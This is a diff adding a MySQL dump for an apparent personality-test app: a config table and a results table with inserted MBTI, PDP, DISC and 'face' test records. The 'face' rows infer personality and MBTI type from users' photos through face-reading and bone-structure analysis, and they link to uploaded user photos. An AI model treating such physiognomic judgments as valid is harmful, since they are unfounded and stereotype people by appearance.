+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID',
+ `configKey` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '配置键',
+ `configValue` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '配置值(JSON格式)',
+ `description` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '描述',
+ `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)',
+ `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)',
+ PRIMARY KEY (`id`) USING BTREE,
+ UNIQUE INDEX `configKey`(`configKey`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 17 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '系统配置表' ROW_FORMAT = Dynamic;
+
+-- ----------------------------
+-- Table structure for mbti_test_results
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_test_results`;
+CREATE TABLE `mbti_test_results` (
+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '结果ID',
+ `userId` int(11) NOT NULL COMMENT '用户ID',
+ `testType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '测试类型:mbti/disc/pdp/face',
+ `resultData` json NULL COMMENT '测试结果(JSON格式)',
+ `score` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '得分详情',
+ `orderId` int(11) NULL DEFAULT NULL COMMENT '关联订单ID(mbti_orders.id)',
+ `requiresPayment` tinyint(1) NOT NULL DEFAULT 0 COMMENT '是否需要付款:0否1是',
+ `isPaid` tinyint(1) NOT NULL DEFAULT 0 COMMENT '是否已付款:0否1是',
+ `paidAmount` int(11) NULL DEFAULT 0 COMMENT '付款金额(分,冗余存储,避免改价影响历史)',
+ `paidAt` int(11) NULL DEFAULT NULL COMMENT '付款时间(时间戳)',
+ `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)',
+ `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)',
+ `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID,NULL表示个人用户',
+ `testScope` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'personal' COMMENT '测试来源版本: personal=个人版 enterprise=企业版',
+ PRIMARY KEY (`id`) USING BTREE,
+ INDEX `idx_userId`(`userId`) USING BTREE,
+ INDEX `idx_testType`(`testType`) USING BTREE,
+ INDEX `idx_createdAt`(`createdAt`) USING BTREE,
+ INDEX `idx_orderId`(`orderId`) USING BTREE,
+ INDEX `idx_isPaid`(`isPaid`) USING BTREE,
+ INDEX `idx_requiresPayment`(`requiresPayment`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 146 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '测试结果表' ROW_FORMAT = Dynamic;
+
+-- ----------------------------
+-- Records of mbti_test_results
+-- ----------------------------
+INSERT INTO `mbti_test_results` VALUES (1, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFP\", \"title\": \"调停者\"}, \"overview\": \"气质安静理性,内敛而有主见,思维细腻敏感,重视自我价值与内心秩序。\", \"boneAnalysis\": \"骨骼清秀偏木水形,相对骨重肉薄,线条纤长不夸张,气质内敛克制,重思考与感受,行动节奏温和但持续。\", \"faceAnalysis\": \"额头偏窄但顺滑,眼神柔和含光,鼻梁细直,唇形自然收敛,下巴略尖,整体给人安静、专注而略带距离感。\", \"personalitySummary\": \"性格敏感理性,重视隐私与独立空间,善于思考与观察,表达含蓄但原则清晰,更偏向安静创作与深度工作环境。\"}', NULL, NULL, 0, 0, 0, NULL, 1772005506, 1772005506, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (2, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"安静理性又细腻敏感,兼具洞察力与规划力,适合深度思考与创造性工作。\", \"boneAnalysis\": \"骨相偏瘦长木形,骨肉匀称,线条柔中有直,显思维敏捷、韧性佳,重内在成长与长期规划。\", \"faceAnalysis\": \"额头较饱满、眼神内敛专注,鼻梁细直,嘴形柔和含蓄,整体给人沉静理性、略带距离感的气质。\", \"personalitySummary\": \"性格安静独立,思考细致,有责任感与同理心。做事追求完美与深度,习惯独立完成关键任务,对人保持礼貌克制与适度边界。\"}', NULL, NULL, 0, 0, 0, NULL, 1772005550, 1772005550, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (3, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质安静理性,内敛专注,有谋划与审美,适合深度思考与专业型发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相清秀偏木水形,骨肉匀称不粗重,重思考与感受,行动节奏稳而不急,耐力尚佳。\", \"faceAnalysis\": \"额头较饱满、眼神内敛专注,鼻梁秀挺,唇形柔和,下颌偏尖,整体偏理性细腻型面相。\", \"personalitySummary\": \"内向克制,思维细腻,有同理心和理想感,做事讲逻辑与条理,重个人空间与深度连接。\"}', NULL, NULL, 0, 0, 0, NULL, 1772010093, 1772010093, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (4, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外表软萌亲和,内在好奇活泼,情感细腻,善于带动气氛与连接他人,适合创造性与互动性强的环境。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"整体线条圆润偏水土形,骨感不强而肉感充足,气质柔和包容,稳定安全,耐受力与适应力良好。\", \"faceAnalysis\": \"圆润脸型与大眼清澈,神态单纯好奇,嘴部微抿显乖顺,整体给人温柔、亲近、无攻击感的印象。\", \"personalitySummary\": \"性格友善外向,情绪表达自然丰富,富有想象力与玩心,乐于尝试新鲜事物并与周围建立温暖连结。\"}', NULL, NULL, 1, 0, 0, NULL, 1772074447, 1772074447, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (5, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"天真好奇、亲和力强,富有想象与玩心,善于营造轻松愉悦氛围,适合充满互动与创意的环境。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"整体线条圆滑饱满,骨感不显偏向柔和之象,气质以亲和、包容与弹性适应为主。\", \"faceAnalysis\": \"圆润脸型与大而明亮的眼睛,透露单纯、好奇与强烈亲近欲,表情专注而无戒心。\", \"personalitySummary\": \"性格活泼外向,情绪表达自然直接,重视陪伴与互动;好奇心强,乐于尝试新事物;在人际中以温柔可亲与玩闹氛围影响他人。\"}', NULL, NULL, 0, 0, 0, NULL, 1772077612, 1772077612, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (6, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外柔内韧、好奇心强,情绪明亮,亲和力高,适合创意与互动并重的环境。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"骨肉丰盈,线条圆滑,属水土偏旺之象,抗压以柔性缓冲为主,稳定中带弹性。\", \"faceAnalysis\": \"大眼圆润有光、五官饱满偏圆,整体给人单纯友好、信任度高且富有童心的气质。\", \"personalitySummary\": \"性格温暖外向,富想象力与同理心,乐于探索新事物与结交伙伴,重视情感连接与轻松氛围。\"}', NULL, NULL, 0, 0, 0, NULL, 1772085904, 1772085904, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (7, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外表温柔亲和,内在好奇活泼,情感细腻,善于带动氛围和照顾周围情绪,适合创意与人际相关领域发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"骨肉丰润偏水土形,线条圆滑少棱角,稳重中带灵动,抗压方式以柔性缓冲与情绪调节见长。\", \"faceAnalysis\": \"面部圆润饱满、五官柔和,眼睛圆大有神,整体给人亲切无攻击感,情绪外显、乐观开朗。\", \"personalitySummary\": \"性格温暖黏人、好奇心强,重视陪伴与互动,安全感来自稳定关系;做事随性但富创意,人际友善,擅长用温柔方式影响他人。\"}', NULL, NULL, 1, 0, 0, NULL, 1772086859, 1772086859, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (8, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ESFP\", \"title\": \"表演者\"}, \"overview\": \"外向亲和、感受敏锐,情绪明亮,喜欢互动与陪伴,适合在轻松环境中发挥创造与感染力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"骨感不强而以圆润为主,属水土柔和之象,重在包容与稳定,偏向守成与享受当下。\", \"faceAnalysis\": \"圆润饱满、五官柔和,眼大有神而无压迫感,整体给人亲近、安全与温柔信赖之感。\", \"personalitySummary\": \"性格温柔黏人,重感情、爱互动,乐于取悦他人,安全感需求高,依恋稳定的人与环境。\"}', NULL, 22, 1, 1, 1, 1772097475, 1772088690, 1772097481, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (9, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ESFP\", \"title\": \"表演者\"}, \"overview\": \"外向活泼,情绪单纯明亮,亲和力强,适合高互动与创造性的环境。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"头脸圆润、骨感不显,肉多掩骨,属柔和亲和型结构,抗压方式偏情绪缓冲与环境适配。\", \"faceAnalysis\": \"大眼圆瞳、短鼻小口与饱满脸型,整体给人单纯、信赖、亲近与好奇的感觉。\", \"personalitySummary\": \"性格单纯乐观,强烈好奇心与玩心并存,重视当下体验与互动回应,人际表现亲切黏人,容易成为团队的气氛担当与情绪疗愈者。\"}', NULL, 24, 1, 1, 1, 1772098134, 1772088972, 1772098138, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (10, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向灵动、好奇心强,情感细腻又具创造力,适合在自由氛围中发挥想象与亲和力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"头脸线条柔和偏圆,骨感不突显,属水木相融合,重情重趣,适合以灵活适配和创意表达见长。\", \"faceAnalysis\": \"圆润面部与大眼透露童真与包容,表情专注却无攻击性,整体给人亲近、安全与信赖感。\", \"personalitySummary\": \"性格温柔友好,想象力丰富,乐于互动与陪伴,遇事以情感与直觉回应,重视氛围与关系和谐。\"}', NULL, 21, 1, 1, 1, 1772097190, 1772089010, 1772097195, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (11, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向温暖、好奇心强,富有想象力与亲和力,擅长在轻松氛围中激发他人潜能。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"整体轮廓饱满柔和,骨肉丰厚偏水木形,相对少锐角,主感受力强、适应快、压力承载偏弹性。\", \"faceAnalysis\": \"圆润脸型与大眼晶亮,神情专注又天真,透露强烈好奇心与亲近感,人际开放友善。\", \"personalitySummary\": \"性格灵动活泼,情绪表达自然,乐于探索新事物并与他人分享,重视氛围与情感联结,组织性略逊但创意与感染力突出。\"}', NULL, 20, 1, 1, 1, 1772096995, 1772094812, 1772096998, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (12, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向灵动、好奇心强,情感细腻,富有创意与亲和力,适合在人际与创意场景中发光。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"头脸轮廓圆滑偏水形,骨肉丰润,抗压以柔克刚,适应环境与情境能力突出。\", \"faceAnalysis\": \"五官圆润饱满、眼大有神,整体给人亲切软萌之感,情绪表达自然真诚,亲和力极高。\", \"personalitySummary\": \"性格温柔热情,喜欢探索新鲜事物,善于用真诚和幽默拉近距离;做事随性但富有想象力,适合自由度高且能与人互动的环境。\"}', NULL, 19, 1, 1, 1, 1772096444, 1772095236, 1772096493, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (13, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"安静理性且内驱明确,思维细腻,有规划意识与长远眼光,适合深度型与创造型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"整体骨感清晰偏纤细,属木水结合之形,相对理性敏感,决断偏谨慎,重思考与稳妥推进。\", \"faceAnalysis\": \"额头偏窄但顺滑,眼神专注内敛,鼻梁秀直,嘴形柔和克制,下颌略尖显感性与理想色彩。\", \"personalitySummary\": \"性格内敛安静,情绪稳定度尚佳,做事讲逻辑与秩序,偏完美主义与自我要求高,重个人空间与精神追求。\"}', NULL, 23, 1, 1, 1, 1772097793, 1772097765, 1772097797, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (14, 1, 'mbti', '{\"scores\": {\"E\": 9, \"F\": 0, \"I\": 0, \"J\": 6, \"N\": 0, \"P\": 0, \"S\": 7, \"T\": 8}, \"answers\": [], \"mbtiType\": \"ESTJ\", \"timestamp\": \"2026-02-26T09:29:32.351Z\", \"confidence\": 100, \"completedAt\": \"2026-02-26T09:29:32.351Z\", \"description\": {\"name\": \"总经理\", \"type\": \"ESTJ\", \"careers\": [\"管理者\", \"项目经理\", \"律师\"], \"category\": \"守护者\", \"strengths\": [\"领导力\", \"组织能力\", \"务实\"], \"weaknesses\": [\"可能专制\", \"不够灵活\"], \"description\": \"务实、果断的组织者\"}, \"testDuration\": 10, \"dimensionScores\": {\"EI\": {\"E\": 9, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 6, \"P\": 0, \"dominant\": \"J\", \"percentage\": 100}, \"SN\": {\"N\": 0, \"S\": 7, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 0, \"T\": 8, \"dominant\": \"T\", \"percentage\": 100}}}', NULL, NULL, 1, 0, NULL, NULL, 1772098172, 1772098172, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (15, 1, 'mbti', '{\"scores\": {\"E\": 0, \"F\": 8, \"I\": 9, \"J\": 0, \"N\": 7, \"P\": 6, \"S\": 0, \"T\": 0}, \"answers\": [], \"mbtiType\": \"INFP\", \"timestamp\": \"2026-02-26T09:30:17.331Z\", \"confidence\": 100, \"completedAt\": \"2026-02-26T09:30:17.331Z\", \"description\": {\"name\": \"调停者\", \"type\": \"INFP\", \"careers\": [\"作家\", \"心理咨询\", \"社工\"], \"category\": \"理想主义者\", \"strengths\": [\"创造力\", \"同理心\", \"真诚\"], \"weaknesses\": [\"过于理想化\", \"情绪化\"], \"description\": \"理想主义、忠诚的调解者\"}, \"testDuration\": 8, \"dimensionScores\": {\"EI\": {\"E\": 0, \"I\": 9, \"dominant\": \"I\", \"percentage\": 100}, \"JP\": {\"J\": 0, \"P\": 6, \"dominant\": \"P\", \"percentage\": 100}, \"SN\": {\"N\": 7, \"S\": 0, \"dominant\": \"N\", \"percentage\": 100}, \"TF\": {\"F\": 8, \"T\": 0, \"dominant\": \"F\", \"percentage\": 100}}}', NULL, NULL, 1, 0, NULL, NULL, 1772098217, 1772098217, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (16, 1, 'mbti', '{\"scores\": {\"E\": 9, \"F\": 0, \"I\": 0, \"J\": 6, \"N\": 0, \"P\": 0, \"S\": 7, \"T\": 8}, \"answers\": [], \"mbtiType\": \"ESTJ\", \"timestamp\": \"2026-02-26T09:30:35.053Z\", \"confidence\": 100, \"completedAt\": \"2026-02-26T09:30:35.053Z\", \"description\": {\"name\": \"总经理\", \"type\": \"ESTJ\", \"careers\": [\"管理者\", \"项目经理\", \"律师\"], \"category\": \"守护者\", \"strengths\": [\"领导力\", \"组织能力\", \"务实\"], \"weaknesses\": [\"可能专制\", \"不够灵活\"], \"description\": \"务实、果断的组织者\"}, \"testDuration\": 9, \"dimensionScores\": {\"EI\": {\"E\": 9, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 6, \"P\": 0, \"dominant\": \"J\", \"percentage\": 100}, \"SN\": {\"N\": 0, \"S\": 7, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 0, \"T\": 8, \"dominant\": \"T\", \"percentage\": 100}}}', NULL, NULL, 1, 0, NULL, NULL, 1772098235, 1772098235, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (17, 1, 'mbti', '{\"scores\": {\"E\": 4, \"F\": 4, \"I\": 5, \"J\": 3, \"N\": 3, \"P\": 4, \"S\": 3, \"T\": 4}, \"answers\": [], \"mbtiType\": \"ISTP\", \"timestamp\": \"2026-02-26T09:31:36.648Z\", \"confidence\": 53, \"completedAt\": \"2026-02-26T09:31:36.648Z\", \"description\": {\"name\": \"鉴赏家\", \"type\": \"ISTP\", \"careers\": [\"工程师\", \"技术员\", \"飞行员\"], \"category\": \"探险家\", \"strengths\": [\"适应力强\", \"动手能力\", \"冷静\"], \"weaknesses\": [\"可能冷漠\", \"不善表达\"], \"description\": \"灵活、务实的问题解决者\"}, \"testDuration\": 51, \"dimensionScores\": {\"EI\": {\"E\": 4, \"I\": 5, \"dominant\": \"I\", \"percentage\": 56}, \"JP\": {\"J\": 3, \"P\": 4, \"dominant\": \"P\", \"percentage\": 57}, \"SN\": {\"N\": 3, \"S\": 3, \"dominant\": \"S\", \"percentage\": 50}, \"TF\": {\"F\": 4, \"T\": 4, \"dominant\": \"T\", \"percentage\": 50}}}', NULL, 26, 1, 1, 1, 1772157110, 1772098296, 1772157115, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (18, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 20, \"Peacock\": 0, \"Chameleon\": 0}, \"answers\": {\"1\": \"Tiger\", \"2\": \"Tiger\", \"3\": \"Tiger\", \"4\": \"Tiger\", \"5\": \"Tiger\", \"6\": \"Tiger\", \"7\": \"Tiger\", \"8\": \"Tiger\", \"9\": \"Tiger\", \"10\": \"Tiger\", \"11\": \"Tiger\", \"12\": \"Tiger\", \"13\": \"Tiger\", \"14\": \"Tiger\", \"15\": \"Tiger\", \"16\": \"Tiger\", \"17\": \"Tiger\", \"18\": \"Tiger\", \"19\": \"Tiger\", \"20\": \"Tiger\"}, \"completedAt\": \"2026-02-27T01:34:12.437Z\", \"description\": {\"type\": \"老虎型\", \"color\": \"#F59E0B\", \"emoji\": \"🐅\", \"title\": \"支配者\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"teamRole\": \"适合担任领导者角色\", \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,具有强烈的目标导向和执行力\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 100, \"Peacock\": 0, \"Chameleon\": 0}, \"dominantType\": \"Tiger\", \"testDuration\": 18, \"secondaryType\": \"Peacock\"}', NULL, NULL, 1, 0, NULL, NULL, 1772156052, 1772156052, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (19, 1, 'pdp', '{\"scores\": {\"Owl\": 6, \"Koala\": 9, \"Tiger\": 2, \"Peacock\": 3, \"Chameleon\": 0}, \"answers\": {\"1\": \"Koala\", \"2\": \"Koala\", \"3\": \"Koala\", \"4\": \"Koala\", \"5\": \"Koala\", \"6\": \"Peacock\", \"7\": \"Peacock\", \"8\": \"Owl\", \"9\": \"Tiger\", \"10\": \"Owl\", \"11\": \"Tiger\", \"12\": \"Owl\", \"13\": \"Koala\", \"14\": \"Koala\", \"15\": \"Koala\", \"16\": \"Owl\", \"17\": \"Owl\", \"18\": \"Peacock\", \"19\": \"Koala\", \"20\": \"Owl\"}, \"completedAt\": \"2026-02-27T01:35:10.123Z\", \"description\": {\"type\": \"考拉型\", \"color\": \"#10B981\", \"emoji\": \"🐨\", \"title\": \"支持者\", \"careers\": [\"人力资源\", \"客户服务\", \"教师\"], \"teamRole\": \"适合担任协调者和支持者角色\", \"strengths\": [\"可靠稳定\", \"团队协作\", \"善解人意\"], \"weaknesses\": [\"可能抗拒变化\", \"决策较慢\"], \"description\": \"稳重可靠,注重团队和谐\"}, \"percentages\": {\"Owl\": 30, \"Koala\": 45, \"Tiger\": 10, \"Peacock\": 15, \"Chameleon\": 0}, \"dominantType\": \"Koala\", \"testDuration\": 40, \"secondaryType\": \"Owl\"}', NULL, 28, 1, 1, 1, 1772157446, 1772156110, 1772157451, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (20, 1, 'disc', '{\"scores\": {\"C\": 3, \"D\": 4, \"I\": 7, \"S\": 6}, \"answers\": {\"1\": \"D\", \"2\": \"I\", \"3\": \"S\", \"4\": \"C\", \"5\": \"S\", \"6\": \"I\", \"7\": \"D\", \"8\": \"I\", \"9\": \"S\", \"10\": \"C\", \"11\": \"S\", \"12\": \"I\", \"13\": \"D\", \"14\": \"I\", \"15\": \"S\", \"16\": \"C\", \"17\": \"S\", \"18\": \"I\", \"19\": \"D\", \"20\": \"I\"}, \"completedAt\": \"2026-02-27T01:35:45.290Z\", \"description\": {\"type\": \"I型\", \"color\": \"#F59E0B\", \"title\": \"影响型\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"strengths\": [\"善于沟通\", \"乐观积极\", \"创意丰富\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于社交和表达\"}, \"percentages\": {\"C\": 15, \"D\": 20, \"I\": 35, \"S\": 30}, \"dominantType\": \"I\", \"testDuration\": 18, \"secondaryType\": \"S\"}', NULL, NULL, 1, 0, NULL, NULL, 1772156145, 1772156145, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (21, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 20, \"I\": 0, \"S\": 0}, \"answers\": {\"1\": \"D\", \"2\": \"D\", \"3\": \"D\", \"4\": \"D\", \"5\": \"D\", \"6\": \"D\", \"7\": \"D\", \"8\": \"D\", \"9\": \"D\", \"10\": \"D\", \"11\": \"D\", \"12\": \"D\", \"13\": \"D\", \"14\": \"D\", \"15\": \"D\", \"16\": \"D\", \"17\": \"D\", \"18\": \"D\", \"19\": \"D\", \"20\": \"D\"}, \"completedAt\": \"2026-02-27T01:36:09.553Z\", \"description\": {\"type\": \"D型\", \"color\": \"#EF4444\", \"title\": \"支配型\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,注重结果和效率\"}, \"percentages\": {\"C\": 0, \"D\": 100, \"I\": 0, \"S\": 0}, \"dominantType\": \"D\", \"testDuration\": 18, \"secondaryType\": \"I\"}', NULL, 29, 1, 1, 1, 1772157482, 1772156169, 1772157485, NULL, 'personal');
